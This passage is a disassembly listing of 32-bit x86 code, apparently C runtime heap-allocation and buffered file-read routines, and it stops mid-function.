mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E80D
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E81D
; ---------------------------------------------------------------------------
loc_41E80D: ; CODE XREF: sub_41E7CD+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E81D: ; CODE XREF: sub_41E7CD+3Ej
mov eax, dword_4DAD90
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E844
loc_41E82B: ; CODE XREF: sub_41E7CD+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E844
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E82B
loc_41E844: ; CODE XREF: sub_41E7CD+5Cj
; sub_41E7CD+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E8C2
mov ebx, edx
loc_41E84B: ; CODE XREF: sub_41E7CD+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E867
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E865
add ebx, 14h
jmp short loc_41E84B
; ---------------------------------------------------------------------------
loc_41E865: ; CODE XREF: sub_41E7CD+91j
cmp ebx, eax
loc_41E867: ; CODE XREF: sub_41E7CD+83j
jnz short loc_41E8C2
loc_41E869: ; CODE XREF: sub_41E7CD+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E87F
cmp dword ptr [ebx+8], 0
jnz short loc_41E87C
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E869
; ---------------------------------------------------------------------------
loc_41E87C: ; CODE XREF: sub_41E7CD+A5j
cmp ebx, [ebp+var_4]
loc_41E87F: ; CODE XREF: sub_41E7CD+9Fj
jnz short loc_41E8A7
mov ebx, edx
loc_41E883: ; CODE XREF: sub_41E7CD+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E897
cmp dword ptr [ebx+8], 0
jnz short loc_41E895
add ebx, 14h
jmp short loc_41E883
; ---------------------------------------------------------------------------
loc_41E895: ; CODE XREF: sub_41E7CD+C1j
cmp ebx, eax
loc_41E897: ; CODE XREF: sub_41E7CD+BBj
jnz short loc_41E8A7
call sub_41EAD6
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E8BB
loc_41E8A7: ; CODE XREF: sub_41E7CD:loc_41E87Fj
; sub_41E7CD:loc_41E897j
push ebx
call sub_41EB87
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E8C2
loc_41E8BB: ; CODE XREF: sub_41E7CD+D8j
xor eax, eax
jmp loc_41EAD1
; ---------------------------------------------------------------------------
loc_41E8C2: ; CODE XREF: sub_41E7CD+7Aj
; sub_41E7CD:loc_41E867j ...
mov dword_4DAD90, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E8E9
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E920
loc_41E8E9: ; CODE XREF: sub_41E7CD+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E91D
loc_41E906: ; CODE XREF: sub_41E7CD+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E906
loc_41E91D: ; CODE XREF: sub_41E7CD+137j
mov edx, [ebp+var_4]
loc_41E920: ; CODE XREF: sub_41E7CD+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E949
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E949: ; CODE XREF: sub_41E7CD+16Dj
; sub_41E7CD+183j
test ecx, ecx
jl short loc_41E952
shl ecx, 1
inc edi
jmp short loc_41E949
; ---------------------------------------------------------------------------
loc_41E952: ; CODE XREF: sub_41E7CD+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E96F
push 3Fh
pop esi
loc_41E96F: ; CODE XREF: sub_41E7CD+19Dj
cmp esi, edi
jz loc_41EA84
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E9E0
cmp edi, 20h
jge short loc_41E9AF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E9DD
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E9E0
; ---------------------------------------------------------------------------
loc_41E9AF: ; CODE XREF: sub_41E7CD+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E9DD
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E9E0
; ---------------------------------------------------------------------------
loc_41E9DD: ; CODE XREF: sub_41E7CD+1D6j
; sub_41E7CD+203j
mov ebx, [ebp+arg_0]
loc_41E9E0: ; CODE XREF: sub_41E7CD+1B0j
; sub_41E7CD+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41EA90
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EA81
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41EA52
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41EA40
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41EA40: ; CODE XREF: sub_41E7CD+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41EA81
; ---------------------------------------------------------------------------
loc_41EA52: ; CODE XREF: sub_41E7CD+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41EA6B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41EA6B: ; CODE XREF: sub_41E7CD+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41EA81: ; CODE XREF: sub_41E7CD+24Ej
; sub_41E7CD+283j
mov ecx, [ebp+var_8]
loc_41EA84: ; CODE XREF: sub_41E7CD+1A4j
test ecx, ecx
jz short loc_41EA93
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41EA93
; ---------------------------------------------------------------------------
loc_41EA90: ; CODE XREF: sub_41E7CD+229j
mov ecx, [ebp+var_8]
loc_41EA93: ; CODE XREF: sub_41E7CD+2B9j
; sub_41E7CD+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41EAC9
cmp ebx, dword_4DAD94
jnz short loc_41EAC9
mov ecx, [ebp+var_4]
cmp ecx, dword_4DAD8C
jnz short loc_41EAC9
and dword_4DAD94, 0
loc_41EAC9: ; CODE XREF: sub_41E7CD+2E0j
; sub_41E7CD+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41EAD1: ; CODE XREF: sub_41E7CD+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E7CD endp
; =============== S U B R O U T I N E =======================================
sub_41EAD6 proc near ; CODE XREF: sub_41E7CD+CCp
mov eax, dword_4DAD98
mov ecx, dword_4DAD88
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EB19
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DAD9C
push edi
push dword_4DADA0
nop
call near ptr 2870000h
cmp eax, edi
jz short loc_41EB69
add dword_4DAD88, 10h
mov dword_4DAD9C, eax
mov eax, dword_4DAD98
loc_41EB19: ; CODE XREF: sub_41EAD6+11j
mov ecx, dword_4DAD9C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DADA0
lea esi, [ecx+eax*4]
nop
call near ptr 27D0000h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EB69
push 4
push 2000h
push 100000h
push edi
call near ptr 2650B77h
nop
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EB6D
push dword ptr [esi+10h]
push edi
push dword_4DADA0
call near ptr 27C0620h
nop
loc_41EB69: ; CODE XREF: sub_41EAD6+30j
; sub_41EAD6+67j
xor eax, eax
jmp short loc_41EB84
; ---------------------------------------------------------------------------
loc_41EB6D: ; CODE XREF: sub_41EAD6+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DAD98
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EB84: ; CODE XREF: sub_41EAD6+95j
pop edi
pop esi
retn
sub_41EAD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB87 proc near ; CODE XREF: sub_41E7CD+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EB99: ; CODE XREF: sub_41EB87+19j
test eax, eax
jl short loc_41EBA2
shl eax, 1
inc ebx
jmp short loc_41EB99
; ---------------------------------------------------------------------------
loc_41EBA2: ; CODE XREF: sub_41EB87+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EBB7: ; CODE XREF: sub_41EB87+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EBB7
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 2650B77h
test eax, eax
jnz short loc_41EBEA
or eax, 0FFFFFFFFh
jmp loc_41EC7D
; ---------------------------------------------------------------------------
loc_41EBEA: ; CODE XREF: sub_41EB87+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EC30
lea eax, [edi+10h]
loc_41EBF7: ; CODE XREF: sub_41EB87+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EBF7
loc_41EC30: ; CODE XREF: sub_41EB87+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EC6D
or [eax+4], edi
loc_41EC6D: ; CODE XREF: sub_41EB87+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EC7D: ; CODE XREF: sub_41EB87+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EB87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC82 proc near ; CODE XREF: sub_41BB48+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41EE30
test bl, 1
jnz loc_41EE29
add ebx, ecx
cmp esi, ebx
jg loc_41EE29
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41ECF9
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41ECF9: ; CODE XREF: sub_41EC82+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41ED49
cmp ecx, 20h
jnb short loc_41ED25
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41ED49
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41ED49
; ---------------------------------------------------------------------------
loc_41ED25: ; CODE XREF: sub_41EC82+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41ED49
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41ED49: ; CODE XREF: sub_41EC82+7Dj
; sub_41EC82+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41EE17
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41ED83
push 3Fh
pop edi
loc_41ED83: ; CODE XREF: sub_41EC82+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41EE05
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41EDDC
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EDCF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41EDCF: ; CODE XREF: sub_41EC82+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41EE01
; ---------------------------------------------------------------------------
loc_41EDDC: ; CODE XREF: sub_41EC82+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EDF2
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41EDF2: ; CODE XREF: sub_41EC82+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41EE01: ; CODE XREF: sub_41EC82+158j
shr edx, cl
or [eax], edx
loc_41EE05: ; CODE XREF: sub_41EC82+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41EE1A
; ---------------------------------------------------------------------------
loc_41EE17: ; CODE XREF: sub_41EC82+E5j
mov edx, [ebp+arg_4]
loc_41EE1A: ; CODE XREF: sub_41EC82+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41EF70
; ---------------------------------------------------------------------------
loc_41EE29: ; CODE XREF: sub_41EC82+52j
; sub_41EC82+5Cj
xor eax, eax
jmp loc_41EF73
; ---------------------------------------------------------------------------
loc_41EE30: ; CODE XREF: sub_41EC82+49j
jge loc_41EF70
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41EE5B
push 3Fh
pop esi
loc_41EE5B: ; CODE XREF: sub_41EC82+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41EEEA
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EE74
push 3Fh
pop esi
loc_41EE74: ; CODE XREF: sub_41EC82+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41EEC3
cmp esi, 20h
jnb short loc_41EE9F
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41EEC0
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EEC0
; ---------------------------------------------------------------------------
loc_41EE9F: ; CODE XREF: sub_41EC82+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EEC0
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EEC0: ; CODE XREF: sub_41EC82+214j
; sub_41EC82+21Bj ...
mov ebx, [ebp+arg_4]
loc_41EEC3: ; CODE XREF: sub_41EC82+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EEEA
push 3Fh
pop esi
loc_41EEEA: ; CODE XREF: sub_41EC82+1DDj
; sub_41EC82+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41EF67
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41EF3E
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EF31
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41EF31: ; CODE XREF: sub_41EC82+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41EF63
; ---------------------------------------------------------------------------
loc_41EF3E: ; CODE XREF: sub_41EC82+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EF54
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41EF54: ; CODE XREF: sub_41EC82+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41EF63: ; CODE XREF: sub_41EC82+2BAj
shr edx, cl
or [eax], edx
loc_41EF67: ; CODE XREF: sub_41EC82+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41EF70: ; CODE XREF: sub_41EC82+1A2j
; sub_41EC82:loc_41EE30j
push 1
pop eax
loc_41EF73: ; CODE XREF: sub_41EC82+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EC82 endp
; =============== S U B R O U T I N E =======================================
sub_41EF78 proc near ; CODE XREF: sub_41BA60+A9p
; sub_41C2CF+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F04C
test al, 40h
jnz loc_41F04C
test al, 2
jz short loc_41EF9E
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F04C
; ---------------------------------------------------------------------------
loc_41EF9E: ; CODE XREF: sub_41EF78+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41EFB2
push esi
call sub_4238F7
pop ecx
jmp short loc_41EFB7
; ---------------------------------------------------------------------------
loc_41EFB2: ; CODE XREF: sub_41EF78+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41EFB7: ; CODE XREF: sub_41EF78+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F051
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F03B
cmp eax, 0FFFFFFFFh
jz short loc_41F03B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F010
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41EFF9
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DAA60[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41EFFE
; ---------------------------------------------------------------------------
loc_41EFF9: ; CODE XREF: sub_41EF78+6Bj
mov edi, offset dword_43ACE0
loc_41EFFE: ; CODE XREF: sub_41EF78+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F010
or dh, 20h
mov [esi+0Ch], edx
loc_41F010: ; CODE XREF: sub_41EF78+62j
; sub_41EF78+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F02D
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F02D
test ch, 4
jnz short loc_41F02D
mov dword ptr [esi+18h], 1000h
loc_41F02D: ; CODE XREF: sub_41EF78+9Fj
; sub_41EF78+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F03B: ; CODE XREF: sub_41EF78+55j
; sub_41EF78+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F04C: ; CODE XREF: sub_41EF78+Aj
; sub_41EF78+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41EF78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F051 proc near ; CODE XREF: sub_41BA60+90p
; sub_41EF78+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DAB60
jnb loc_41F22E
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DAA60h[eax*4]
mov eax, dword_4DAA60[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F22E
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F106
test dl, 2
jnz short loc_41F106
test dl, 48h
jz short loc_41F0C6
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F0C6
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F0C6: ; CODE XREF: sub_41F051+56j
; sub_41F051+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 2710000h
test eax, eax
jnz short loc_41F119
call near ptr 2680DCDh
nop
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F101
mov dword_4D9714, 9
mov dword_4D9718, ecx
jmp loc_41F23F
; ---------------------------------------------------------------------------
loc_41F101: ; CODE XREF: sub_41F051+99j
cmp eax, 6Dh
jnz short loc_41F10D
loc_41F106: ; CODE XREF: sub_41F051+4Cj
; sub_41F051+51j
xor eax, eax
jmp loc_41F242
; ---------------------------------------------------------------------------
loc_41F10D: ; CODE XREF: sub_41F051+B3j
push eax
call sub_420314
pop ecx
jmp loc_41F23F
; ---------------------------------------------------------------------------
loc_41F119: ; CODE XREF: sub_41F051+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F229
test edx, edx
jz short loc_41F13E
cmp byte ptr [edi], 0Ah
jnz short loc_41F13E
or al, 4
jmp short loc_41F140
; ---------------------------------------------------------------------------
loc_41F13E: ; CODE XREF: sub_41F051+E2j
; sub_41F051+E7j
and al, 0FBh
loc_41F140: ; CODE XREF: sub_41F051+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F223
loc_41F158: ; CODE XREF: sub_41F051+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F213
cmp al, 0Dh
jz short loc_41F174
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F205
; ---------------------------------------------------------------------------
loc_41F174: ; CODE XREF: sub_41F051+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F192
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F189
add [ebp+arg_8], 2
jmp short loc_41F1E7
; ---------------------------------------------------------------------------
loc_41F189: ; CODE XREF: sub_41F051+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F205
; ---------------------------------------------------------------------------
loc_41F192: ; CODE XREF: sub_41F051+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 2710000h
nop
test eax, eax
jnz short loc_41F1BA
nop
call near ptr 2680DCDh
test eax, eax
jnz short loc_41F201
loc_41F1BA: ; CODE XREF: sub_41F051+15Dj
cmp [ebp+var_C], 0
jz short loc_41F201
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F1DC
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F1E7
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F205
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41F051+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F1EC
cmp [ebp+var_1], 0Ah
jnz short loc_41F1EC
loc_41F1E7: ; CODE XREF: sub_41F051+136j
; sub_41F051+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F204
; ---------------------------------------------------------------------------
loc_41F1EC: ; CODE XREF: sub_41F051+18Ej
; sub_41F051+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422633
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F205
loc_41F201: ; CODE XREF: sub_41F051+167j
; sub_41F051+16Dj
mov byte ptr [edi], 0Dh
loc_41F204: ; CODE XREF: sub_41F051+199j
inc edi
loc_41F205: ; CODE XREF: sub_41F051+11Ej
; sub_41F051+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F158
jmp short loc_41F223
; ---------------------------------------------------------------------------
loc_41F213: ; CODE XREF: sub_41F051+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
